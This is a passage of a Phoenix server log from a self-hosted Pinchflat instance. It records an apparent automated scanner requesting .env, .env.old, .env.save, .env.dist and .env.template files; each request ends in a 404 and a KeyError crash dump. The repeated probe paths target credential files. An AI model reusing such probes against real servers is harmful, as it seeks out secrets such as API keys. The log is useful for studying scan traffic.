body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49372}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3152.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.209 [error] #PID<0.3154.0> running PinchflatWeb.Endpoint (connection #PID<0.3153.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49376}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3154.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZbOLolDhAQAANaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49376}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49376}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3154.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.274 [info] GET /.env.example 21:08:38.274 [debug] QUERY OK source="settings" db=0.2ms idle=70.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.275 [debug] QUERY OK source="settings" db=0.1ms idle=70.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.275 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.275 [error] #PID<0.3156.0> running PinchflatWeb.Endpoint (connection #PID<0.3155.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3155.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49384}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3156.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZrGLfd3WosAANcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3155.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49384}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3155.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49384}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3156.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "h (truncated) 21:08:38.310 [info] GET /.env.dist 21:08:38.311 [debug] QUERY OK source="settings" db=0.3ms idle=102.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.312 [debug] QUERY OK source="settings" db=0.2ms idle=102.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.312 [error] #PID<0.3158.0> running PinchflatWeb.Endpoint (connection #PID<0.3157.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3157.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49390}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3158.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-Zz2f1ILKL8AANeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3157.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49390}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3157.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49390}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3158.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.329 [info] GET /.env.template 21:08:38.330 [debug] QUERY OK source="settings" db=0.2ms idle=88.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.330 [debug] QUERY OK source="settings" db=0.2ms idle=55.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.330 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.331 [error] #PID<0.3160.0> running PinchflatWeb.Endpoint (connection #PID<0.3159.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.template ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3159.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.template", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49394}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3160.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.template", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-Z4UnqlTapkAANgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3159.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.template", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49394}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 